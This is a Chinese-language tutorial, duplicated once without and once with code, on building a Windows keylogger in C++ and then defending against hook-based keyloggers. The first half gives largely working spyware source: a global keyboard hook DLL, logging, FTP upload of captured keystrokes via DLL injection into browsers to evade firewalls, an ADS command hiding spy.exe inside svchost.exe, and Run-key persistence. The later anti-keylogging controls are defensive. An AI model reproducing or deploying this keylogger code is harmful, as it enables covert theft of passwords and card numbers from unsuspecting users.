简介
本文将详细讨论一个键盘监视器的C++/C#开发过程并针对反窥探提出了一些建议。希望读者理解基于钩子技术的窥探软件的工作原理以更好地针对自己的软件加以保护。
背景
基于软件的键盘事件记录器是一个严重的安全威胁,因为它们通过捕获击键操作来监控用户的行动。监控器可以用于一些恶意的行为诸如盗窃信用卡号码等。例如,键击记录器就是Trojans病毒的一个基本组成部分,它们在后台安静地运行伺机捕获用户的击键操作。击键事件被保存在经过良好隐藏的文件中通过电子邮件或者FTP方式发送给窥探者。
一、键盘监视器的设计
下面是一个简单的,直接使用钩子技术实现的例子。
键盘监视器体系结构
键盘监视器由三个模块组成:主模块,钩子过程和FTP模块。主模块负责安装一个全局钩子过程。该钩子的任务是把每次按键事件向主模块汇报,由主模块把所有的击键保存到一个文件中。当记录文件达到预定的大小时,主模块命令FTP模块把记录文件上载给一个FTP服务器。三个模块间的通讯是通过Windows消息机制实现的。
主模块Window过程代码如下:
全局WH_CBT钩子
一个系统范围的钩子实际上是一个函数,它安装在当前运行的所有进程中,在被监视消息到达目标window过程之前予以监控。钩子过程用于监控系统中的各种类型的事件-例如击键等等。可以通过调用Win32 API函数SetWindowsHookEx来安装一个钩子过程并指定调用该过程的钩子类型。一个WH_CBT钩子过程在窗口取得焦点并在击键事件从系统消息队列被清除之前调用。所有桌面应用程序都在自己的上下文中调用一个全局的钩子过程,所以该钩子过程必须驻留在一个独立于应用程序的DLL中来安装钩子过程。
DLL共享内存区域
一段DLL共享内存区域实际上是一个所有的DLL实例都可以看到的内存变量。主模块把它的窗口句柄保存在钩子DLL的共享内存区域中-该DLL使所有的钩子过程实例能够把窗口消息邮寄回主模块中。
钩子过程共享内存区域并输出函数:
函数的主模块代码如下:
盗窃
一个间谍程序为了防止自己被探测到必须隐藏好自己的踪迹。它们主要涉及三个技术区域:文件系统,任务管理器,防火墙。
任务管理器盗窃
ADS(Alternate Data Streams)是一项NTFS文件系统特性,它能使你把文件数据送于存在的文件中而不影响它们的功能,大小或者资源管理器等浏览工具的对它们的显示。带有ADS的文件用本地文件浏览技术几乎是不可能检测到的。 一旦文件被注入该项特性,ADS即可被诸如传统的命令如type等执行。在激活时,ADS执行体以原始文件的方式出现并运行:你可以用Windows资源管理器等进程观察器来试验。使用这种技术后,不仅可能隐藏一个文件,而且可能隐藏一个非法进程的执行体部分。事实上,如果安装了NTFS系统,你是不可能本地式探测出以ADS方式隐藏的文件的。ADS特性不能够被取消(disabled),目前为止还没有办法来针对用户已经对其具有存取权限的文件限制这种特性。示例程序为了简明之目地没有使用ADS。
你可以用下例方式手工操作ADS。
防火墙盗窃
大多数的防火墙软件都能探测和阻拦不经授权的程序接入因特网。主模块通过使用FTP模块把记录文件上载到一个FTP服务器。防火墙通过把FTP模块DLL注入到另外一个已经安装的应用程序中来实现盗窃。DLL注入意味着强制一个不能被挂起的进程必须接受一个自己从来没有要求的DLL文件。示例中,我选择把FTP模块注入或者Internet Explorer或者FireFox。DLL注入将会越过大多数防火墙软件的检测,特别在FTP服务器在探听80端口时。钩子过程DLL(它由函数SetWindowsHookEx自动加载进入所有正运行进程)检查是被装入到Internet Explorer还是FireFox并加载(用LoadLibrary)了FTP模块DLL。从DllMain中调用LoadLibrary函数是不允许的,因此DllMain设置了一个布尔变量来让钩子过程调用LoadLibrary库函数。
下面是模块DllMain中的钩子过程:
启动
把监视程序加入到下列注册表键处将使得它能够在系统启动时被一起激发:
免于监视的编辑控件将针对每次用户击键生成一个模拟的随机键击串。监视程序将截获用户的击键和伪击键,这样以来使它很难或者不可能检索实际的输入的文本。用户输入被存储于一个成员变量中-应用程序可以容易地通过编辑控件存取该变量的值。本例中的伪键击是通过调用Win32 API SendInput来实现的。下面这实现了两个控件-一个MFC版本,一个.NET版本。
该编辑安全的控件假定函数SendInput生成键击的速度快于用户击键的速度。这可能导致编辑安全的控件在较慢的机器上返回错误的用户数据,特别是在运行C#实现版本时。
VC++ MFC版本的CsafeEdit类:
用C#实现的SafeEdit类:
SpyRemover类
基于钩子技术的监视程序依赖于它们的钩子过程DLL。将钩子DLL从应用程序进程中移去将使注入该应用程序的窥探程序失去窥探键击的功能。示例程序使用类SpyRemover来移去钩子DLL文件。SpyRemover构造器接收一个"授权模块"的列表。如果一个模块只是装入到一个应用程序中但是没有出现在该列表中被认为是没有授权的。SpyRemover通过枚举所有的应用程序进程模块来探测未经授权的模块。
小结
本文以软件保护为背景,详细讨论了一个键盘监视器的开发并针对反监视提出了一些建议。希望读者理解基于钩子技术的窥探软件的工作原理以更好地针对自己的软件加以保护。另外,本文所附代码在Windows 2000/.NET 2003环境下调试通过。
本文将详细讨论一个键盘监视器的C++/C#开发过程并针对反窥探提出了一些建议。希望读者理解基于钩子技术的窥探软件的工作原理以更好地针对自己的软件加以保护。
背景
基于软件的键盘事件记录器是一个严重的安全威胁,因为它们通过捕获击键操作来监控用户的行动。监控器可以用于一些恶意的行为诸如盗窃信用卡号码等。例如,键击记录器就是Trojans病毒的一个基本组成部分,它们在后台安静地运行伺机捕获用户的击键操作。击键事件被保存在经过良好隐藏的文件中通过电子邮件或者FTP方式发送给窥探者。
一、键盘监视器的设计
下面是一个简单的,直接使用钩子技术实现的例子。
键盘监视器体系结构
键盘监视器由三个模块组成:主模块,钩子过程和FTP模块。主模块负责安装一个全局钩子过程。该钩子的任务是把每次按键事件向主模块汇报,由主模块把所有的击键保存到一个文件中。当记录文件达到预定的大小时,主模块命令FTP模块把记录文件上载给一个FTP服务器。三个模块间的通讯是通过Windows消息机制实现的。
主模块Window过程代码如下:
/////////////////////////////////////////////////////////////////// // FUNCTION: WndProc(HWND, unsigned, WORD, LONG) // 目的:处理主窗口中的消息 // MSG_MY_WM_KEYDOWN - 处理应用程序键击 // MSG_MY_WM_SETFOCUS - 处理应用程序键击 // MSG_WM_UPLOAD_FILE - 处理一个FTP模块通知 // WM_DESTROY - 寄送一个退出消息并返回 LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) { if (message == MSG_MY_WM_KEYDOWN) return OnInterceptKeyStroke(wParam, lParam); if (message == MSG_MY_WM_SETFOCUS) return OnSetKeyboardFocus(wParam, lParam); if (message == MSG_WM_UPLOAD_FILE) return OnFileUploaded(wParam, lParam); switch (message) { case WM_DESTROY: PostQuitMessage(0); break; default: return DefWindowProc(hWnd, message, wParam, lParam); } return 0; } /////////////////////////////////////////////////////////////////// LRESULT OnInterceptKeyStroke(WPARAM wParam, LPARAM lParam) { //如果我们在登录一个新的应用程序,应该打印一个适当的头 if (g_hWinInFocus != g_hLastWin) { WriteNewAppHeader(g_hWinInFocus); g_hLastWin = g_hWinInFocus; } if (wParam==VK_RETURN || wParam==VK_TAB) { WriteToLog(’\n’); } else { BYTE keyStateArr[256]; WORD word; UINT scanCode = lParam; char ch; //把虚拟键代码转换成ascii码 GetKeyboardState(keyStateArr); ToAscii(wParam, scanCode, keyStateArr, &word, 0); ch = (char) word; if ((GetKeyState(VK_SHIFT) & 0x8000) && wParam >= ’a’&& wParam <= ’z’) ch += ’A’-’a’; WriteToLog(ch); } return 0; } /////////////////////////////////////////////////////////////////// LRESULT OnSetKeyboardFocus(WPARAM wParam, LPARAM lParam) { g_hWinInFocus = (HWND)wParam; return S_OK; } /////////////////////////////////////////////////////////////////// LRESULT OnFileUploaded(WPARAM wParam, LPARAM lParam) { //记录上载成功 if (wParam) { DeleteFile(g_sSpyLogFileName2); } else { char temp[255]; FILE* f1=fopen(g_sSpyLogFileName,"rt"); FILE* f2=fopen(g_sSpyLogFileName2,"at"); while (!feof(f1)) { if (fgets(temp, 255, f1)) { fputs(temp, f2); } } fclose(f1); fclose(f2); MoveFile(g_sSpyLogFileName2, g_sSpyLogFileName); } g_isUploading = false; return S_OK; } |
全局WH_CBT钩子
一个系统范围的钩子实际上是一个函数,它安装在当前运行的所有进程中,在被监视消息到达目标window过程之前予以监控。钩子过程用于监控系统中的各种类型的事件-例如击键等等。可以通过调用Win32 API函数SetWindowsHookEx来安装一个钩子过程并指定调用该过程的钩子类型。一个WH_CBT钩子过程在窗口取得焦点并在击键事件从系统消息队列被清除之前调用。所有桌面应用程序都在自己的上下文中调用一个全局的钩子过程,所以该钩子过程必须驻留在一个独立于应用程序的DLL中来安装钩子过程。
DLL共享内存区域
一段DLL共享内存区域实际上是一个所有的DLL实例都可以看到的内存变量。主模块把它的窗口句柄保存在钩子DLL的共享内存区域中-该DLL使所有的钩子过程实例能够把窗口消息邮寄回主模块中。
钩子过程共享内存区域并输出函数:
/////////////////////////////////////////////////////////////////// //共享的内存 #pragma data_seg(".adshared") HWND g_hSpyWin = NULL; #pragma data_seg() #pragma comment(linker, "/SECTION:.adshared,RWS") /////////////////////////////////////////////////////////////////// void CALLBACK SetSpyHwnd (DWORD hwnd) { g_hSpyWin = (HWND) hwnd; } /////////////////////////////////////////////////////////////////// LRESULT CALLBACK HookProc (int nCode, WPARAM wParam, LPARAM lParam ) { if (nCode == HCBT_KEYSKIPPED && (lParam & 0x40000000)) { if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam==VK_TAB) ||(wParam>=0x2f ) &&(wParam<=0x100)) { ::PostMessage(g_hSpyWin, MSG_MY_WM_KEYDOWN, wParam, lParam); } } else if (nCode == HCBT_SETFOCUS) { ::PostMessage(g_hSpyWin, MSG_MY_WM_SETFOCUS, wParam, lParam); if (bInjectFtpDll && ::FindWindow(COMM_WIN_CLASS, NULL) == NULL) { HINSTANCE hFtpDll; Init InitFunc; if (hFtpDll = ::LoadLibrary(FTP_DLL_NAME)) { if (InitFunc = (Init) ::GetProcAddress (hFtpDll,"Init")) { (InitFunc)((DWORD)g_hSpyWin); } } bInjectFtpDll = false; } } return CallNextHookEx( 0, nCode, wParam, lParam); } |
函数的主模块代码如下:
typedef LRESULT (CALLBACK *HookProc)(int nCode, WPARAM wParam, LPARAM lParam); typedef void (WINAPI *SetSpyHwnd)(DWORD); HMODULE g_hHookDll = NULL; HHOOK g_hHook = NULL; bool InstallHook(HWND hwnd) { SetSpyHwnd SetHwndFunc; HookProc HookProcFunc; if (g_hHookDll = LoadLibrary(SPY_DLL_NAME)) { if (SetHwndFunc = (SetSpyHwnd) ::GetProcAddress(g_hHookDll,"SetSpyHwnd")) { //把主模块的HWND存储在共享存储区段 (SetHwndFunc)((DWORD)hwnd); if (HookProcFunc = (HookProc) ::GetProcAddress(g_hHookDll,"HookProc")) { if (g_hHook = SetWindowsHookEx(WH_CBT, HookProcFunc,g_hHookDll, 0)) return true; } } } return false; } |
盗窃
一个间谍程序为了防止自己被探测到必须隐藏好自己的踪迹。它们主要涉及三个技术区域:文件系统,任务管理器,防火墙。
任务管理器盗窃
ADS(Alternate Data Streams)是一项NTFS文件系统特性,它能使你把文件数据送于存在的文件中而不影响它们的功能,大小或者资源管理器等浏览工具的对它们的显示。带有ADS的文件用本地文件浏览技术几乎是不可能检测到的。 一旦文件被注入该项特性,ADS即可被诸如传统的命令如type等执行。在激活时,ADS执行体以原始文件的方式出现并运行:你可以用Windows资源管理器等进程观察器来试验。使用这种技术后,不仅可能隐藏一个文件,而且可能隐藏一个非法进程的执行体部分。事实上,如果安装了NTFS系统,你是不可能本地式探测出以ADS方式隐藏的文件的。ADS特性不能够被取消(disabled),目前为止还没有办法来针对用户已经对其具有存取权限的文件限制这种特性。示例程序为了简明之目地没有使用ADS。
你可以用下例方式手工操作ADS。
Inject spy.exe to svchost.exe "type spy.exe > c:\windows\system32\svchost.exe:spy.exe" Run spy.exe "start svchost.exe:spy.exe" |
防火墙盗窃
大多数的防火墙软件都能探测和阻拦不经授权的程序接入因特网。主模块通过使用FTP模块把记录文件上载到一个FTP服务器。防火墙通过把FTP模块DLL注入到另外一个已经安装的应用程序中来实现盗窃。DLL注入意味着强制一个不能被挂起的进程必须接受一个自己从来没有要求的DLL文件。示例中,我选择把FTP模块注入或者Internet Explorer或者FireFox。DLL注入将会越过大多数防火墙软件的检测,特别在FTP服务器在探听80端口时。钩子过程DLL(它由函数SetWindowsHookEx自动加载进入所有正运行进程)检查是被装入到Internet Explorer还是FireFox并加载(用LoadLibrary)了FTP模块DLL。从DllMain中调用LoadLibrary函数是不允许的,因此DllMain设置了一个布尔变量来让钩子过程调用LoadLibrary库函数。
下面是模块DllMain中的钩子过程:
BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { char processName[255]; GetModuleFileName(GetModuleHandle( NULL ), processName,sizeof(processName) ); strcpy(processName, _strlwr(processName)); if (strstr(processName, "iexplore.exe") || strstr(processName, "firefox.exe")) bInjectFtpDll = true; break; } case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } |
启动
把监视程序加入到下列注册表键处将使得它能够在系统启动时被一起激发:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run. |
示例程序把spy.exe作为一项新注册表值加入。
二、键盘监视的防范
在这一节中,我将介绍两种简单的技术来帮助你的应用程序反击基于钩子技术的键盘监视程序。
具有防范监视功能的密码编辑控件
免于监视的编辑控件将针对每次用户击键生成一个模拟的随机键击串。监视程序将截获用户的击键和伪击键,这样以来使它很难或者不可能检索实际的输入的文本。用户输入被存储于一个成员变量中-应用程序可以容易地通过编辑控件存取该变量的值。本例中的伪键击是通过调用Win32 API SendInput来实现的。下面这实现了两个控件-一个MFC版本,一个.NET版本。
该编辑安全的控件假定函数SendInput生成键击的速度快于用户击键的速度。这可能导致编辑安全的控件在较慢的机器上返回错误的用户数据,特别是在运行C#实现版本时。
VC++ MFC版本的CsafeEdit类:
void CSafeEdit::OnKeyUp(UINT nChar, UINT nRepCnt, UINT nFlags) { if (nChar == VK_SHIFT || nChar == VK_CONTROL || nChar == VK_MENU) return; if (nChar == VK_DELETE || nChar == VK_BACK) { SetWindowText(""); m_sRealText = ""; return; } if (m_state == 0) { m_iDummyKeyStrokesCount = SendDummyKeyStrokes(); m_state = 1; CString text; GetWindowText(text); m_sRealText += text.Right(1); } else { if (m_state++ >= m_iDummyKeyStrokesCount) m_state = 0; } CEdit::OnKeyUp(nChar, nRepCnt, nFlags); } /////////////////////////////////////////////////////////////////// CString CSafeEdit::GetRealText() { return m_sRealText; } /////////////////////////////////////////////////////////////////// int CSafeEdit::SendDummyKeyStrokes() { srand((unsigned)::GetTickCount()); int iKeyStrokeCount = rand() % 5 + 1; int key; INPUT inp[2]; inp[0].type = INPUT_KEYBOARD; inp[0].ki.dwExtraInfo = ::GetMessageExtraInfo(); inp[0].ki.dwFlags = 0; inp[0].ki.time = 0; for (int i=0; i < iKeyStrokeCount; i++) { key = rand() % (’Z’-’A’) + ’A’; inp[0].ki.wScan = key; inp[0].ki.wVk = key; inp[1] = inp[0]; inp[1].ki.dwFlags = KEYEVENTF_KEYUP; SendInput(2, inp, sizeof(INPUT)); } return iKeyStrokeCount; } |
用C#实现的SafeEdit类:
public struct KEYDBINPUT { public Int16 wVk; public Int16 wScan; public Int32 dwFlags; public Int32 time; public Int32 dwExtraInfo; public Int32 __filler1; public Int32 __filler2; } public struct INPUT { public Int32 type; public KEYDBINPUT ki; } [DllImport("user32")] public static extern int SendInput( int cInputs, ref INPUT pInputs, int cbSize ); protected void OnKeyUp(object sender, System.Windows.Forms.KeyEventArgs e) { if (e.KeyData == Keys.ShiftKey || e.KeyData == Keys.ControlKey || e.KeyData == Keys.Alt) return; if (e.KeyData == Keys.Delete || e.KeyData == Keys.Back) { Text = ""; m_sRealText = ""; return; } if (m_state == 0) { m_iDummyKeyStrokesCount = SendDummyKeyStrokes(); m_state = 1; m_sRealText += Text[Text.Length-1]; } else { if (m_state++ >= m_iDummyKeyStrokesCount) m_state = 0; } } public int SendDummyKeyStrokes() { short key; Random rand = new Random(); int iKeyStrokeCount = rand.Next(1, 6); INPUT inputDown = new INPUT(); inputDown.type = INPUT_KEYBOARD; inputDown.ki.dwFlags = 0; INPUT inputUp = new INPUT(); inputUp.type = INPUT_KEYBOARD; inputUp.ki.dwFlags = KEYEVENTF_KEYUP; for (int i=0; i < iKeyStrokeCount; i++) { key = (short) rand.Next(’A’, ’Z’); inputDown.ki.wVk = key; SendInput( 1, ref inputDown, Marshal.SizeOf( inputDown ) ); inputUp.ki.wVk = key; SendInput( 1, ref inputUp, Marshal.SizeOf( inputUp ) ); } return iKeyStrokeCount; } |
SpyRemover类
基于钩子技术的监视程序依赖于它们的钩子过程DLL。将钩子DLL从应用程序进程中移去将使注入该应用程序的窥探程序失去窥探键击的功能。示例程序使用类SpyRemover来移去钩子DLL文件。SpyRemover构造器接收一个"授权模块"的列表。如果一个模块只是装入到一个应用程序中但是没有出现在该列表中被认为是没有授权的。SpyRemover通过枚举所有的应用程序进程模块来探测未经授权的模块。
VOID SpyRemover::TimerProc(HWND hwnd, UINT uMsg, unsigned int idEvent, DWORD dwTime) { m_SpyRemover->EnumModules(); } ////////////////////////////////////////////////////////////////// SpyRemover::SpyRemover(char* szAuthorizedList) { m_SpyRemover = this; m_szAuthorizedList = " "; m_szAuthorizedList += szAuthorizedList; m_szAuthorizedList += " "; m_szAuthorizedList.MakeLower(); ::SetTimer(NULL, 0, 500, TimerProc); } /////////////////////////////////////////////////////////////////// void SpyRemover::EnumModules() { DWORD dwPID = ::GetCurrentProcessId(); HANDLE hModuleSnap = INVALID_HANDLE_VALUE; MODULEENTRY32 me32; //取得当前进程所有模块的一个快照 hModuleSnap = CreateToolhelp32Snapshot( TH32CS_SNAPMODULE, dwPID ); if( hModuleSnap == INVALID_HANDLE_VALUE ) return; me32.dwSize = sizeof( MODULEENTRY32 ); //检索关于第一个模块(application.exe)的信息 if( !Module32First( hModuleSnap, &me32 ) ) { CloseHandle( hModuleSnap ); return; } //遍历当前进程的模块列表 do { if (!IsModuleAuthorized(me32.szModule)) { HMODULE hmodule = me32.hModule; CloseHandle(hModuleSnap); FreeLibrary(hmodule); return; } while( Module32Next( hModuleSnap, &me32 ) ); CloseHandle(hModuleSnap); } /////////////////////////////////////////////////////////////////// bool SpyRemover::IsModuleAuthorized(char* szModuleName) { char szModule[1024]; sprintf(szModule, " %s ", szModuleName); strcpy(szModule, _strlwr(szModule)); if (strstr(m_szAuthorizedList, szModule)) return true; else return false; } |
小结
本文以软件保护为背景,详细讨论了一个键盘监视器的开发并针对反监视提出了一些建议。希望读者理解基于钩子技术的窥探软件的工作原理以更好地针对自己的软件加以保护。另外,本文所附代码在Windows 2000/.NET 2003环境下调试通过。